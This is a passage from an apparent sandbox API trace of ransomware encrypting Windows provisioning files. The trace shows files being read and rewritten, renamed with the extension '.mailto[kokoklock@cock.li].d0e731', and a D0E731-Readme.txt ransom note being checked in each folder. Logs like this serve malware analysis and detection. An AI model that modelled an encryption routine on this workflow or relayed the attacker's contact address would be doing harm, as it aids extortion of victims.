(in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x12cf1e24 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x8c44c3c6 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x7f9c9cec [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x31c4c9f1 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xa8315784 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xfb7311ab [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x51188a04 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x84c0bda0 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xd5f3feb5 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x121fbc6e [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xed09e18c [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x57fcca33 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xbf8cddb1 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xae60d4a1 [0087.357] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x5df8c2f0 [0087.358] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x5d8f387f [0087.358] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xfea04db8 [0087.358] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xc86ed99d [0087.358] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0xaeebd0ca [0087.358] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x1270610c [0087.358] RtlRandom (in: Seed=0x2f2bfb90 | out: Seed=0x2f2bfb90) returned 0x88052e60 [0087.368] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x2f2bfb84, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f2bfb84*=0x353, lpOverlapped=0x0) returned 1 [0087.368] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2bfb4c | out: lpNewFilePointer=0x0) returned 1 [0087.368] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x353, lpNumberOfBytesWritten=0x2f2bfb80, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f2bfb80*=0x353, lpOverlapped=0x0) returned 1 [0087.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1d8 [0087.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1d8) returned 1 [0087.368] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc1b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f2bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x55dc1b0*, lpNumberOfBytesWritten=0x2f2bfb7c*=0x20, lpOverlapped=0x0) returned 1 [0087.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.369] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc188*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f2bfba8, lpOverlapped=0x0 | out: lpBuffer=0x55dc188*, lpNumberOfBytesWritten=0x2f2bfba8*=0x8, lpOverlapped=0x0) returned 1 [0087.369] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f2bfbc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f2bfba8, lpOverlapped=0x0 | out: lpBuffer=0x2f2bfbc0*, lpNumberOfBytesWritten=0x2f2bfba8*=0x4, lpOverlapped=0x0) returned 1 [0087.369] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f2bfba8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f2bfba8*=0x4, lpOverlapped=0x0) returned 1 [0087.369] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f2bfba8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f2bfba8*=0x6c, lpOverlapped=0x0) returned 1 [0087.369] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f2bfba8, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f2bfba8*=0x20, lpOverlapped=0x0) returned 1 [0087.369] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f2bfba8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f2bfba8*=0x4, lpOverlapped=0x0) returned 1 [0087.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc188) returned 1 [0087.369] CloseHandle (hObject=0x3d0) returned 1 [0087.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x192) returned 0x33fc9c8 [0087.370] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" [0087.370] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.370] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.370] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.370] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.371] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.371] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.371] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.371] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7528) returned 1 [0087.371] RtlExitUserThread (Status=0x1) Thread: id = 1357 os_tid = 0x112c [0087.372] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.372] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.372] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.372] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f33fc20 | out: lpFileSize=0x2f33fc20*=703) returned 1 [0087.373] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.373] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f33fbf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f33fbf0, lpOverlapped=0x0 | out: lpBuffer=0x2f33fbf4*, lpNumberOfBytesRead=0x2f33fbf0*=0x4, lpOverlapped=0x0) returned 1 [0087.374] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.374] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc188 [0087.374] NtQuerySystemTime (in: CurrentTime=0x2f33fbcc | out: CurrentTime=0x2f33fbcc*=132121176452735741) returned 0x0 [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0xe85fe0d5 [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0xb15d8cf [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x382f3a10 [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x5fbf49c9 [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x8e733d40 [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0xd735e248 [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x3cb126ef [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0xe14e153b [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x2b15d7c3 [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x5d171ac [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x7e60cdea [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0xf24c0c71 [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x21935a6b [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x3195dd4b [0087.374] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0xa7357d08 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x6a7e7ab9 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x91791007 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x5e736210 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x5f04d5c8 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x656e29a3 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x626c1696 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x3e1853f2 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x846bd09e [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x1837bc07 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0xe8533c80 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x7480082a [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0xd9093f8c [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x7e7341ee [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x991e0040 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x394ce8a7 [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0xa59074ab [0087.375] RtlRandom (in: Seed=0x2f33fbd8 | out: Seed=0x2f33fbd8) returned 0x732db70d [0087.385] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2bf, lpNumberOfBytesRead=0x2f33fbcc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f33fbcc*=0x2bf, lpOverlapped=0x0) returned 1 [0087.385] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f33fb94 | out: lpNewFilePointer=0x0) returned 1 [0087.385] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2bf, lpNumberOfBytesWritten=0x2f33fbc8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f33fbc8*=0x2bf, lpOverlapped=0x0) returned 1 [0087.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1d8 [0087.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc200 [0087.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc200) returned 1 [0087.386] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc1d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f33fbc4, lpOverlapped=0x0 | out: lpBuffer=0x55dc1d8*, lpNumberOfBytesWritten=0x2f33fbc4*=0x20, lpOverlapped=0x0) returned 1 [0087.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1d8) returned 1 [0087.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.386] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc1b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f33fbf0, lpOverlapped=0x0 | out: lpBuffer=0x55dc1b0*, lpNumberOfBytesWritten=0x2f33fbf0*=0x8, lpOverlapped=0x0) returned 1 [0087.386] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f33fc08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f33fbf0, lpOverlapped=0x0 | out: lpBuffer=0x2f33fc08*, lpNumberOfBytesWritten=0x2f33fbf0*=0x4, lpOverlapped=0x0) returned 1 [0087.386] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f33fbf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f33fbf0*=0x4, lpOverlapped=0x0) returned 1 [0087.386] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f33fbf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f33fbf0*=0x6c, lpOverlapped=0x0) returned 1 [0087.386] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f33fbf0, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f33fbf0*=0x20, lpOverlapped=0x0) returned 1 [0087.386] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f33fbf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f33fbf0*=0x4, lpOverlapped=0x0) returned 1 [0087.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.387] CloseHandle (hObject=0x3d0) returned 1 [0087.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0087.387] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" [0087.387] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.387] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.387] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.388] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.388] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.388] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.388] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.388] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7120) returned 1 [0087.390] RtlExitUserThread (Status=0x1) Thread: id = 1358 os_tid = 0x1130 [0087.392] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml")) returned 0x20 [0087.393] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.393] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.393] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f3bfb9c | out: lpFileSize=0x2f3bfb9c*=654) returned 1 [0087.393] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x28a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.393] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f3bfb70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f3bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x2f3bfb70*, lpNumberOfBytesRead=0x2f3bfb6c*=0x4, lpOverlapped=0x0) returned 1 [0087.395] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 